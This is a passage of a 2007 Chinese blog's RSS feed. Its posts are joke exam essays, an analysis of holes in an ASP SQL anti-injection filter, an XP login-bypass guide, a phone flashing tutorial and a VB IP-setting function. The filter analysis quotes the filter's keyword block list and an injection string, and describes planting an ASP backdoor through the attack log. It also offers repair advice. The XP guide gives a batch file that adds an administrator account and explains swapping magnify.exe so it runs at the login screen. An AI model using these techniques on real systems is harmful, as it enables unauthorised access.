谁出的题啊？现在的星空还灿烂吗？怎么不改成美丽的太湖水呢？这个比较有现实意义。作为一名高中生而言，对于这些小孩子才会赶兴趣的东西没有激情。黑夜给了我黑色的眼睛，我却用他来翻白眼！闲话少说，还是要写作文，现在来论证怎么能够看见头上灿烂的星空：拿一大棒子，狠狠的打在头上！&lt;/p&gt;&lt;p&gt;　　&lt;strong&gt;湖南卷《诗意的生活》&lt;/strong&gt;&lt;br&gt;　　2007高考湖南卷作文题：诗意的生活结合自己的经历以诗意的生活为题，写一篇不少于800字的作文…&lt;br&gt;　　片段：屎意的生活（估计是专门写错的），要靠自己的双手和大脑来创造。可惜我不是赵利华。老师，我觉得你的生活很诗意，因为你的学问和那个什么什么的差不多。不说这些了，还是写作文要紧，写些什么呢？我们就从唐诗说起。&lt;br&gt;　　说道唐诗不得不说道一个人，伟大的诗人苏东坡，这个唐朝最伟大的诗人……&lt;/p&gt;&lt;p&gt;　　北京卷对春夜喜雨的不同评论写作文&lt;br&gt;　　2007北京地区高考作文题为：材料：对春夜喜雨的不同评论－－写作文，题目自拟，体裁不限，800字以上…&lt;br&gt;　　片段：打雷了下雨了收衣服了，唐僧哥哥这样说道，2007年北京的第一场雨就这样来了。&lt;br&gt;　　悟空当时在和紫霞姐姐约会，正要到了那话上，突然下雨了，悟空拿出了自己的棒子，一下子向老天捅去。&lt;br&gt;　　“悟空，叫你不要把你的棒子晃来晃去，乱插到人不好！就算没有插到人，插到天空中飞行的小鸟也是不行的！真顽皮这孩子，再不听话我就要把紧觚咒儿念！”&lt;br&gt;　　正在这个时候，八戒从天空上栽了下来，骂道：MD，玉帝那老家伙有在和王母娘娘吵架了！飞行轨迹一打滑害我老猪摔一交。&lt;br&gt;　　沙僧拿出了一张美女的照片，埋在土里，虔诚的说道：我在春天种下一个美女，到了秋天就会收获很多很多的美女。当时候，大师兄一个、二师兄一个，剩下的我要，师傅太抠门了，不给他！&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=71</guid><pubDate>Tue, 19 Jun 2007 05:29:00 GMT</pubDate></item><item><title>[WEB]注入程序带来的攻击及防范</title><link>http://www.chendw.cn:8080/view.aspx?id=70</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;font face="Verdana" color="#99cc00"&gt;现在基于web的攻击一般都是注入。导致注入的原因一般为对变量的过滤不完全，从而可以使入侵者非法执行程序或查询修改任意&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font face="Verdana" color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font face="Verdana" color="#99cc00"&gt;。随着注入攻击的愈演愈烈，一些专门的过滤代码应运而生。但一些过滤代码的不完善很可能导致新的攻击。下面就以目前应用最广泛的过滤代码--SQL通用防注入程序为下列说明&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font face="Verdana" color="#99cc00"&gt;漏洞&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;&lt;font face="Verdana"&gt;的成因、利用方法及防范措施。&lt;/font&gt; &lt;/font&gt;&lt;p&gt;&lt;font face="Verdana"&gt;&lt;font color="#99cc00"&gt;　　SQL通用防注入程序是由火狐的枫知秋编写的，功能相当完善的防注入代码。它能对定义的过滤字符实现get提交的过滤，并能记录攻击者的IP提交的&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;信息。使用时只须在要防注入的文件头中加入代码＜--#Include File="WrSky_Sql.Asp"--＞可以实现对变量的过滤。如果在&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;库连接文件（如conn.asp）后加入程序代码，则可以实现整站的变量过滤，从而达到防注入的效果。&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face="Verdana"&gt;&lt;font color="#99cc00"&gt;&lt;font face="Verdana"&gt;　　&lt;/font&gt;好了，下面我们先来看变量过滤部分的代码：&lt;/font&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face="Verdana" color="#99cc00"&gt;'--------定义部份------------------&lt;br&gt;Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr&lt;br&gt;'自定义需要过滤的字串,用 "枫" 分隔&lt;br&gt;Fy_In = "'枫;枫and枫exec枫insert枫select枫delete枫update枫count枫*枫%枫chr枫mid枫master枫truncate枫char枫declare"&lt;br&gt;'----------------------------------&lt;br&gt;%＞&lt;/font&gt;&lt;/p&gt;&lt;font face="Verdana"&gt;&lt;p&gt;&lt;br&gt;&lt;font color="#99cc00"&gt;＜&lt;br&gt;Fy_Inf = split(Fy_In,"枫")&lt;br&gt;'--------POST部份------------------&lt;br&gt;If Request.Form＜＞ Then&lt;br&gt;For Each Fy_Post In Request.Form&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#99cc00"&gt;For Fy_Xh=0 To Ubound(Fy_Inf)&lt;br&gt;If Instr(LCase(Request.Form(Fy_Post)),Fy_Inf(Fy_Xh))＜＞Then&lt;br&gt;'--------GET部份-------------------&lt;br&gt;If Request.QueryString＜＞ Then&lt;br&gt;For Each Fy_Get In Request.QueryString&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#99cc00"&gt;For Fy_Xh=0 To Ubound(Fy_Inf)&lt;br&gt;If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))＜＞Then&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#99cc00"&gt;&lt;font face="Verdana"&gt;　　&lt;/font&gt;这段代码中定义了对“'”“and”等常用注入变量的过滤，如果觉得过滤不够或太多可自行增减字符。很明显，只要通过get或post向&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;服务&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;器提交的&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;中包含被过滤字符，都会被程序禁止。这就导致了一个问题，如果是在论坛的&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;库连接文件后加入程序代码，发贴时只要贴子内容包括被过滤的字符就会被禁止掉。根据默认的过滤内容看来，如果发帖子内容为英文似乎是几乎无法发表的。另外，在定义论坛风格时有时会要用一些特殊字符（如百分号“%”）如果这些特殊字符被过滤的对象，那么整个论坛就不能正常运行了。对上面提到的问题，我用dvbbs做过测试，结果与我猜想的是完全一致的。&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#99cc00"&gt;&lt;font face="Verdana"&gt;　　&lt;/font&gt;解决上述问题的方法是只在需要过滤的文件中防注入连接语句。但这样工作量比较大，而且一般站长是不知道什么文件需要过滤的。因此我的建议是把过滤代码加到conn.asp后，然后再建一个不包含过滤代码的connl.asp，把肯定不需要过滤且过滤代码对本文件运行有影响的文件连接到conn1.asp，但要注意两个&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;连接文件的基本内容要保持一致。另外，在风格设置中最好不要用到过滤的字符，确实要用到的可在防注入程序中删掉对该字符的过滤。&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#99cc00"&gt;&lt;font face="Verdana"&gt;　　&lt;/font&gt;上面讲的是防注入程序对站点运行的影响，并不能造成什么危害。其实，真正的危害来自&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;记录部分，我们来看这部分的代码：&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#99cc00"&gt;''--------写入&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;库-------头--------&lt;br&gt;Fy_dbstr="DBQ="+server.mappath("SqlIn.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"&lt;br&gt;Set Fy_db=Server.CreateObject("ADODB.CONNECTION")&lt;br&gt;Fy_db.open Fy_dbstr&lt;br&gt;Fy_db.Execute("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&amp;amp;Request.ServerVariables("REMOTE_ADDR")&amp;amp;"','"&amp;amp;Request.ServerVariables("URL")&amp;amp;"','GET','"&amp;amp;Fy_Get&amp;amp;"','"&amp;amp;replace(Request.QueryString(Fy_Get),"'","''")&amp;amp;"')")&lt;br&gt;Fy_db.close&lt;br&gt;Set Fy_db = Nothing&lt;br&gt;'--------写入&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;库-------尾--------&lt;/font&gt;&lt;/p&gt;&lt;font color="#99cc00"&gt;&lt;hr&gt;&lt;/font&gt;&lt;p&gt;&lt;font color="#99cc00"&gt;Response.Write "&lt;font face="Verdana"&gt;＜S&lt;/font&gt;cript Language=JavaScript＞alert('枫网SQL通用防注入系统提示↓\n\n请不要在参数中包含非法字符尝试注入！\n\nHTTP://WwW.WrSkY.CoM 系统版本:V2.0(ASP)完美版');＜Script＞&lt;br&gt;Response.Write "非法操作！系统做了如下记录↓＜br＞"&lt;br&gt;Response.Write "操作ＩＰ："&amp;amp;Request.ServerVariables("REMOTE_ADDR")&amp;amp;"＜br＞"&lt;br&gt;Response.Write "操作时间："&amp;amp;Now&amp;amp;"＜br&amp;gt;&lt;br&gt;esponse.Write "操作页面："&amp;amp;Request.ServerVariables("URL")&amp;amp;"＜br＞"&lt;br&gt;Response.Write "提交方式：ＧＥＴ＜br＞"&lt;br&gt;Response.Write "提交参数："&amp;amp;Fy_Get&amp;amp;"＜br＞"&lt;br&gt;Response.Write "提交&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;："&amp;amp;Request.QueryString(Fy_Get)&lt;br&gt;Response.End&lt;br&gt;End If&lt;br&gt;Next&lt;br&gt;Next&lt;br&gt;End If&lt;br&gt;'----------------------------------&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#99cc00"&gt;&lt;font face="Verdana"&gt;　　&lt;/font&gt;这段代码的作用是对攻击者的信息及动作记录，以便我们采取必要的应对措施。从代码中可以看出程序分别对攻击者的IP，提交地址，提交内容等进行了记录，但这里明显有几处&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;漏洞&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;：&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#99cc00"&gt;&lt;font face="Verdana"&gt;　　&lt;/font&gt;一、未对频繁的攻击进行处理。也就是说，无论我们怎么提交法&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;，都会被程序记录，这样一来，将很可能导致恶意攻击的dos攻击。对此我做了一个试验。我在某个被保护文件的url后提交下列语句：and （select top l asc(mid (username,l,l)) from admin)＞0，在提交过程中用按键精灵来记录，然后&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;自动&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;重复提交。不一会，&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;库大小就发生了显著变化）。可以想象，如果用朔雪等工具开多线程提交，dos是绝对不成问题的。&lt;/font&gt;&lt;/p&gt;&lt;font color="#99cc00"&gt;&lt;hr&gt;&lt;/font&gt;&lt;p&gt;&lt;font color="#99cc00"&gt;二、记录&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;长度未做截断。这是我在对防注入程序影响论坛运行的测试中发现的。如图3所示，如果发帖内容中包含被过滤字符时，帖子内容会被完全记录到&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;库中。一般的论坛或文章系统对发表文章的长度都是限定的，但SQL通用防注入程序并未对此做出限制。如果攻击者在被保护文件的url后提交一段超长的内容，很可能会导致程序的崩溃。因为危害较大，我没有试验，但我提交长达100K的内容却是被照常记录的。&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#99cc00"&gt;&lt;font face="Verdana"&gt;　　&lt;/font&gt;三、&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;内容的转换及爆库问题。从代码中看，程序对非法提交的&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;是未经转换就完全直接记录到&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;库中的。也就是说，无论你提交什么只要包含被过滤的内容程序就会把你提交的所有内容进行记录。这个问题本来是并无大碍的，但某些站长为了“安全”起见，喜欢把mdb文件一律改为asp后缀的。再加上防注入程序的&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;库中只有一个表，我们就可以通过在被保护文件url后直接写入&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;库获得webshell了，在测试过程中，我们把sqlin.mdb改为sqlin.asp,然后在被保护文件的url后输入了一个冰浪子微型ASP后门。用冰狐客户端进行连接后成功获得wedshll。&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#99cc00"&gt;&lt;font face="Verdana"&gt;　　&lt;/font&gt;因为这种获取webshell的方法需要确定对方的&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;库是以ASP形式运行的，并且知道&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;路径，所以我们必须想办法得到这个&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;库的路径。一般情况下，我们可以直接猜&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;库路径，但其实这个路径是可以暴出来的，纵观整个防注入程序，并没有发现什么防爆库的语句，所以我们只须直接访问或用%5C大法就能爆出这个&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;库了.而如果是把程序代码直接放到&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;库连接文件后的话，由于&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;连接文件一般都包含防爆语句，我们就不能爆出&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;库的地址了。&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#99cc00"&gt;&lt;font face="Verdana"&gt;　　&lt;/font&gt;上面说的都是&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;记录过程中的问题，有能力的站长可以自己动手修补相关&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;漏洞&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;，比如对大量重复提交法&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;的IP&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;自动&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;屏蔽等。其实，我们完全可以去掉&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;数据&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;记录部分代码，这样并不影响对变量的过滤，而且既使记录了攻击者的信息作用也不是很大的。所以我建议最好还是去掉这段代码，这样一来所有的&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;漏洞&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;就都不复存了。&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#99cc00"&gt;&lt;font face="Verdana"&gt;　　&lt;/font&gt;好了，本文的分折就到此为止，最后提醒大家在使用安全防范程序时也要注意程序自身的安全问题&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#99cc00"&gt;&lt;font face="Verdana"&gt;　　&lt;/font&gt;特别提示，防注入程序3.0也有&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;漏洞&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;，而且&lt;/font&gt;&lt;a class="channel_keylink" href="http://www.3800hk.com/"&gt;&lt;font color="#99cc00"&gt;漏洞&lt;/font&gt;&lt;/a&gt;&lt;font color="#99cc00"&gt;更为严重&lt;/font&gt;&lt;/p&gt;&lt;/font&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=70</guid><pubDate>Mon, 18 Jun 2007 00:37:00 GMT</pubDate></item><item><title>[操作系统]绕过XP登陆密码</title><link>http://www.chendw.cn:8080/view.aspx?id=69</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;span class="tpc_content"&gt;&lt;font color="#339966"&gt;有许多朋友还在为忘记XP登陆密码不能进入系统而烦恼,现在我就来给你带来解决的方法.&lt;br&gt;所需工具&lt;br&gt;1.U盘一个&lt;br&gt;2.Usboot(U盘启动制作软件)&lt;br&gt;3.winrar(压缩软件)&lt;br&gt;这个方法我亲自实验过,并且成功的绕过了XP的登陆密码.我在学校机房做过实验,但是文件格式为FAT32,就不知道NTFS的行不行?本来想一起实验的,结果我的光驱在学校机器上用不起(我的光驱有问题,机器太老了!--穷),学校的机器都是FAT32的,没办法!只有下次做了!&lt;br&gt;先说说思路:方法很简单,当你的机器出现登陆框,要求输入密码时,你按下windows键+U看看有什么反映……？不错！出现了辅助工具管理工具（呵呵~~意味着可以运行放大镜）。既然可以运行放大镜程序，那么我们把放大镜程序换成其他的程序是不是也可以运行呢？（我把它换成添加用户的程序不就…………呵呵~~好坏！）思路就是这样的了！现在我们开始制作。&lt;br&gt;①.制作U盘启动盘。先运行Usboot，然后插入U盘，选中U盘然后点开始。（要破坏U盘上的文件哦！小心！），格式化完了把U盘拔了，然后它会提示你再插入，插入U盘1分后就可以了！我的U盘是1G的，用的HDD格式。&lt;br&gt;②.制作替换文件。要制作一个XX.EXE的文件来替换原文件，但是这个XX.EXE执行后又要达到添加用户的要求。我首先想到的是写一个批处理文件：&lt;br&gt;@net user hack 123456 /add&lt;br&gt;@net localgroup administraroes hack /add&lt;br&gt;@exit&lt;br&gt;然后保存为XX.bat就可以了!&lt;br&gt;又有人要问我了,我们要的是XX.EXE你却给我们弄个XX.bat你什么意思嘛?&lt;br&gt;问得好!我们让它运行XX.EXE就等同运行了XX.bat不就可以了嘛!&lt;br&gt;要达到这样的目的,就要用到winrar,用winrar制作一个自解压文件,不就把XX.bat变成XX.EXE了吗?运行XX.EXE就等同运行了XX.bat.(把XX.EXE拷到 U 盘上去)&lt;br&gt;③.替换文件.到COMS里去把第一启动换到USB-HDD,保存----插入U盘,进入系统的c:\windows\system32下去.&amp;nbsp;&amp;nbsp;&amp;nbsp; copy magnify.exe 007magnify.exe (对magnify.exe进行备份,magnify.exe为放大镜执行程序).在把U盘上的XX.EXE拷到system32下,并该为magnify.exe就可以了!&lt;br&gt;然后从硬盘启动就可以了!再到XP登陆密码时,你只要运行放大镜就可以了!按下Ctrl+Alt+Del(按2次)用你新建的hack用户就可以进去了!进去把管理员密码改过来吧!&lt;br&gt;这样就成功的绕过了XP的登陆密码,只要了一个U盘,好方便.&lt;/font&gt;&lt;/span&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=69</guid><pubDate>Thu, 14 Jun 2007 08:51:00 GMT</pubDate></item><item><title>[MOTO E2]刷机教程</title><link>http://www.chendw.cn:8080/view.aspx?id=68</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;准备工作:&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 1：用MPT备份电话本。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 2：操作系统最好为:Win2000SP4或者WinXPSP2。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 3：电池充满再刷为好，可以防止刷到一半没电了死机。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; 4：下载并安装相关软件：安装Moto手机全能驱动，Moto手机全能驱动如果安装失败,可能是你没装MPT,先装MPT。刷机工具RSD LITE，（版本随意，汉化版本别用有问题！推荐3.2版本。）&lt;/p&gt;&lt;p&gt;刷机过程：&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp; 1：打开电脑上RSD LITE软件。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp; 2：将手机关机，先按住录音键不放,再按开机键进入红色的刷机界面，里面有几行字，然后插上USB线，这时RSD LITE会提示手机已连接。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp; 3：然后载入sbf文件，点START就可以了，(如果不是一体包,先载入bp包扩展名是shx文件，刷好了bp再刷ap包，载入扩展名sbf文件就是刷ap了。建议刷高版本的一体包好!）刷到最后一步会发现手机自己点亮，显示正在充电。电脑上RSD LITE提示：please manual powerup this phone(请手动打开手机的电源),至此刷机就结束了，大功告成了！&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp; 4：拔掉USB线，重新打开手机，等几秒钟屏幕上的英文就会变中文了。&lt;/p&gt;&lt;p&gt;&amp;nbsp;&amp;nbsp; 5：刷完机，感觉手机反映慢，主复位一下。主复位在设置——手机设置里面，密码是000000，不是1234。&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=68</guid><pubDate>Wed, 13 Jun 2007 05:22:00 GMT</pubDate></item><item><title>[VB]设置IP函数</title><link>http://www.chendw.cn:8080/view.aspx?id=67</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;&lt;font color="#99cc00"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 先把这段函数放出来，有空把它做成一个小软件供大家使用。&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#99cc00"&gt;Function ChangeIP(IP As String, NM As String, GW As String, MDNS As String, SDNS As String) As String&lt;br&gt; '返回值说明:返回一个设置的中文说明.&lt;br&gt; Dim strComputer, objWMIService, colNetAdapters, strIPAddress, strSubnetMask&lt;br&gt; Dim strGateway, strGatewaymetric, strDNS, objNetAdapter, errEnable, errGateways, errDNS&lt;br&gt; strComputer = "."&lt;br&gt; Set objWMIService = GetObject("winmgmts:\\" &amp;amp; strComputer &amp;amp; "\root\cimv2")&lt;br&gt; Set colNetAdapters = objWMIService.ExecQuery("Select * from Win32_NetworkAdapterConfiguration where IPEnabled=TRUE")&lt;br&gt; strIPAddress = Array(IP) 'ip地址&lt;br&gt; strSubnetMask = Array(NM) '子网掩码&lt;br&gt; strGateway = Array(GW) '网关&lt;br&gt; strDNS = Array(MDNS, SDNS) '主DNS各备DNS&lt;br&gt; strGatewaymetric = Array(1)&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;br&gt; For Each objNetAdapter In colNetAdapters&lt;br&gt; errEnable = objNetAdapter.EnableStatic(strIPAddress, strSubnetMask)&lt;br&gt; errGateways = objNetAdapter.SetGateways(strGateway, strGatewaymetric)&lt;br&gt; errDNS = objNetAdapter.SetDNSServerSearchOrder(strDNS)&lt;br&gt; If errEnable = 0 And errGateways = 0 And errDNS = 0 Then&lt;br&gt; ChangeIP = "设置成功"&lt;br&gt; Else&lt;br&gt; If errEnable = 0 Then&lt;br&gt; ChangeIP = "IP地址和子网掩码设置成功, "&lt;br&gt; Else&lt;br&gt; ChangeIP = "IP地址或子网掩码设置失败, "&lt;br&gt; End If&lt;br&gt; If errGateways = 0 Then&lt;br&gt; ChangeIP = ChangeIP &amp;amp; "默认网关设置成功, "&lt;br&gt; Else&lt;br&gt; ChangeIP = ChangeIP &amp;amp; "默认网关设置失败, "&lt;br&gt; End If&lt;br&gt; If errDNS = 0 Then&lt;br&gt; ChangeIP = ChangeIP &amp;amp; "DNS设置成功"&lt;br&gt; Else&lt;br&gt; ChangeIP = ChangeIP &amp;amp; "DNS设置失败"&lt;br&gt; End If&lt;br&gt; End If&lt;br&gt; Next&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;br&gt; End Function&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&lt;br&gt; Private Sub Command1_Click()&lt;br&gt; MsgBox ChangeIP("192.168.1.12", "255.255.255.0", "192.168.1.1", "201.96.112.133", "84.124.96.122")&lt;br&gt; End Sub&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#99cc00"&gt;Private Sub Label2_Click()&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#99cc00"&gt;End Sub&lt;br&gt;&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font color="#99cc00"&gt;&lt;/font&gt;&lt;/p&gt;&lt;/div&gt;</description><guid isPermaLink="false">http://www.chendw.cn:8080/view.aspx?id=67</guid><pubDate>Tue, 12 Jun 2007 05:38:00 GMT</pubDate></item><item><title>[精品软件系列]超级兔子魔法设置</title><link>http://www.chendw.cn:8080/view.aspx?id=66</link><description>&lt;div id="blog_text" class="cnt"&gt;&lt;p&gt;&lt;font color="#ff6600"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; 超级兔子是一个完整的系统维护工具，可能清理你大多数的文件、注册表里面的垃圾，同时还有强力的软件卸载功能，专业的卸载可以清理一个软件在电脑内的所有记录。 &lt;br&gt;超级兔子共有8大组件，可以优化、设置系统大多数的选项，打造一个属于自己的Windows。超级兔子上网精灵具有IE修复、IE保护、恶意程序检测及清除工能，还能防止其它人浏览网站，阻挡色情网站，以及端口的过滤。&amp;nbsp;&amp;nbsp;&lt;br&gt;超级兔子系统检测可以诊断一台电脑系统的CPU、显卡、硬盘的速度，由此检测电脑的稳定性及速度，还有磁盘修复及键盘检测功能。超级兔子进程管理器具有网络、进程、窗口查看方式，同时超级兔子网站提供大多数进程的详细信息，是国内最大的进程库。 &lt;br&gt;超级兔子安全助手可能隐藏磁盘、加密文件，超级兔子系统备份是国内唯一能完整保存Windows XP注册表的软件，彻底解决系统上的问题。&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;table cellspacing="1" cellpadding="3" width="778" bgcolor="#80b080" border="0"&gt;&lt;tbody&gt;    &lt;tr 